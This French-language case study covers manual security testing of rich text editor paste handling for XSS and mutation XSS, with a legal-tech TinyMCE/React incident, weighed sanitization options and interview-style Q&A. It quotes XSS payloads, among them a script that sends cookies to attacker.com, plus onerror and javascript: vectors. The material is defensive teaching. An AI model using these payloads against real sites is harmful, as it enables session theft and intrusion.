Historique : Les éditeurs de texte enrichi (RTE) sont omniprésents dans les systèmes de gestion de contenu, mais ils représentent une surface d'attaque critique. Lorsque les utilisateurs copient du contenu de Microsoft Word ou de Google Docs, le presse-papiers contient du HTML riche avec des métadonnées propriétaires, des styles en ligne et potentiellement des charges utiles malveillantes cachées dans des balises SVG ou des expressions CSS. Le problème de base est qu'une désinfection naïve pourrait supprimer le formatage visible tout en manquant des scripts exécutables, ou inversement, trop désinfecter et détruire des structures sémantiques légitimes comme des tables complexes. Une méthodologie de test manuel systématique doit vérifier à la fois la sécurité (pas de XSS) et la fidélité (structure préservée).
Solution : Implémentez un protocole d'assaut du presse-papiers en trois phases :
Préparation des vecteurs : Créez une bibliothèque de charges utiles de collage incluant SVG avec <foreignObject> intégré contenant des scripts, CSS behavior: url(#default#VML) pour les anciens IE, des protocoles javascript: encodés avec des entités HTML, et des balises HTML5 malformées conçues pour exploiter les bizarreries de l'analyseur de navigateur (par exemple, <noscript><img src=x onerror=alert(1)></noscript>).
Simulation de collage inter-moteur : Effectuez des opérations de copier-coller réelles (pas de frappe) depuis Word (avec des modifications suivies, des commentaires et des objets Excel intégrés), Google Docs (avec des modifications suggérées et des dessins intégrés), et du HTML brut copié depuis les DevTools du navigateur. Testez séparément dans Chrome, Safari, Firefox, et Edge, car chacun gère les types MIME du presse-papiers (text/html contre application/rtf) différemment.
Vérification de l'état : Après le collage, inspectez le DOM via les DevTools pour confirmer que les gestionnaires d'événements on*, les URL javascript: et les balises <script> sont absents, tout en vérifiant que les éléments sémantiques (<thead>, <colgroup>, listes imbriquées) restent intacts. Ensuite, enregistrez le contenu, actualisez la page et vérifiez à nouveau le HTML sérialisé pour détecter les XSS de mutation où l'analyseur du navigateur réanime des scripts lors du nouvel affichage.
Problème : Une startup de technologie juridique a développé une application de révision de contrats utilisant TinyMCE où les avocats collaient des clauses provenant de Microsoft Word. Un audit de sécurité a révélé que les contrats contenant des logos de fournisseurs (au format SVG) exécutaient du JavaScript arbitraire lorsqu'ils étaient consultés dans le tableau de bord du réviseur. Les fichiers SVG contenaient <script>fetch('https://attacker.com?cookie='+document.cookie)</script> à l'intérieur de balises <foreignObject>. L'éditeur les affichait comme des images inoffensives, mais le HTML brut stocké dans la base de données PostgreSQL s'exécutait dans la vue en lecture seule qui utilisait dangerouslySetInnerHTML dans React sans désinfection secondaire.
Solutions envisagées :
Solution A : Supprimer tout le HTML et convertir en texte brut. Avantages : Garantie de sécurité absolue ; aucun XSS possible. Inconvénients : Les avocats ont perdu un formatage critique comme l'indentation pour les sous-clauses de contrat, la mise en surbrillance des risques, et les structures de tableaux pour les barèmes de frais. Cela a rendu l'application inutilisable pour les flux de travail juridiques, provoquant un rejet immédiat des utilisateurs.
Solution B : Dépendre uniquement de DOMPurify côté client avec une configuration permissive. Avantages : Préserve l'expérience utilisateur et le formatage ; facile à mettre en œuvre. Inconvénients : La désinfection côté client peut être contournée en appelant directement l'API REST avec des charges utiles malveillantes, contournant complètement l'éditeur. De plus, les paramètres par défaut de DOMPurify autorisent les balises SVG et les attributs de données qui s'exécutent dans certaines versions de Android WebView.
Solution C : Mettre en œuvre une défense en profondeur avec un nettoyage agressif côté client pour un feedback immédiat, combiné à une désinfection côté serveur utilisant le OWASP Java HTML Sanitizer avec une politique stricte n'autorisant que les balises structurelles. Avantages : Attrape les tentatives de contournement au niveau de l'API ; permet le formatage juridique nécessaire tout en neutralisant les scripts. Inconvénients : Nécessite de maintenir deux configurations de politique (frontend et backend) ; risque de dégradation des performances lors du traitement de contrats de plus de 100 pages ; potentiel pour des "dialogues de consentement" si les politiques ne correspondent pas.
Solution choisie : Nous avons sélectionné la Solution C et ajouté un point de contrôle QA manuel spécifiquement pour les opérations de collage. L'équipe QA a créé une "Malicious Clipboard Suite" contenant plus de 75 vecteurs de contournement CSP, y compris des animations SVG et des conteneurs MathML. Ils ont découvert que le ALLOWED_URI_REGEXP de DOMPurify permettait les URL javascript: encodées avec des entités HTML. Ils ont configuré le désinfecteur pour aplatir tous les SVG en balises <img> statiques avec encodage Base64, supprimant tous les éléments interactifs.
Résultat : La vulnérabilité a été corrigée avant la mise en production. La méthodologie a détecté deux vecteurs supplémentaires de mXSS impliquant des commentaires HTML qui se transformaien en scripts exécutables en mode lecture de Safari. L'équipe juridique a conservé toutes les capacités de formatage, et des tests de pénétration ultérieurs n'ont trouvé aucun vecteur d'injection dans le pipeline de collage.
Comment détectez-vous le mutation XSS (mXSS) où l'analyseur du navigateur modifie la chaîne désinfectée après insertion, recréant des scripts exécutables ?
De nombreux candidats inspectent le HTML immédiatement après le collage en utilisant la "vue source" de l'éditeur ou les DevTools. Cependant, les exploits de mXSS se produisent lorsque la chaîne désinfectée est assignée à innerHTML, que le navigateur l'analyse, et que le DOM résultant diffère de la chaîne d'origine en raison de la normalisation de l'analyseur (par exemple, les mutations <noscript><img title="--><script>...). L'approche correcte consiste à effectuer un test de round-trip : sérialisez le DOM en une chaîne en utilisant element.innerHTML après insertion, puis comparez-le avec la sortie désinfectée attendue. Si de nouvelles balises <script> ou des gestionnaires d'événements apparaissent après cette sérialisation, le désinfecteur est vulnérable. Testez également spécifiquement dans IE11 si pris en charge, car son comportement d'analyseur pour les tables malformées diffère considérablement de Blink ou Gecko.
Pourquoi le collage de contenu peut-il fonctionner correctement et en toute sécurité dans l'éditeur, mais échouer à la validation de sécurité lorsque le même contenu est ensuite chargé dans une vue React en lecture seule via dangerouslySetInnerHTML ?
Les candidats omettent souvent le "glissement de désinfection contextuelle". Les éditeurs de texte enrichi désinfectent pour le contexte d'édition, mais le contexte de visualisation peut utiliser différentes versions de React, des en-têtes Content Security Policy, ou des bibliothèques JavaScript supplémentaires qui ré-analysent le contenu. La réponse est que vous devez vérifier le contenu stocké tout au long du cycle de vie complet : collage → sauvegarde à l'API → récupération à partir de l'API → rendu dans la vue en lecture seule. Vérifiez spécifiquement les problèmes de double-encodage où < devient &lt; lors du stockage dans la base de données, ou les différences de normalisation Unicode entre la gestion UTF-8 de l'éditeur et le classement de la base de données. Testez avec des charges utiles contenant des guillemets intelligents (guillemets courbés) et des tirets en demi-largeur, que Word substitue automatiquement, pour vous assurer que la configuration UTF-8MB4 de la base de données ne tronque pas les caractères multi-octets, ce qui pourrait briser les frontières de désinfection et permettre l'injection de scripts.
Comment valideriez-vous manuellement le comportement de désinfection lorsque l'application utilise un éditeur basé sur Markdown (comme CKEditor 5 avec une sortie Markdown) plutôt que le stockage de HTML brut ?
Cela teste la compréhension des risques de conversion de format. Lorsque les éditeurs convertissent le HTML en Markdown (par exemple, via Turndown), des charges utiles malveillantes peuvent se cacher dans des attributs HTML qui n'ont pas d'équivalent en Markdown, pouvant potentiellement être supprimées de manière incomplète ou converties en références de lien qui s'exécutent au clic. La méthodologie correcte consiste à : (1) Coller le HTML malveillant dans l'éditeur, (2) Passer en vue source Markdown pour vérifier que les attributs dangereux ont disparu (pas seulement visuellement cachés), (3) Convertir à nouveau en HTML (si supporté) pour s'assurer que le round-trip ne ressuscite pas les scripts, et (4) Vérifier que la syntaxe des liens Markdown [text](javascript:alert(1)) est explicitement bloquée par la regex de validation des liens du parseur, pas seulement par le moteur de rendu. De plus, vérifiez que les commentaires HTML <!-- --> (qui peuvent casser les parseurs Markdown) sont supprimés pour éviter la fuite de données sensibles côté serveur.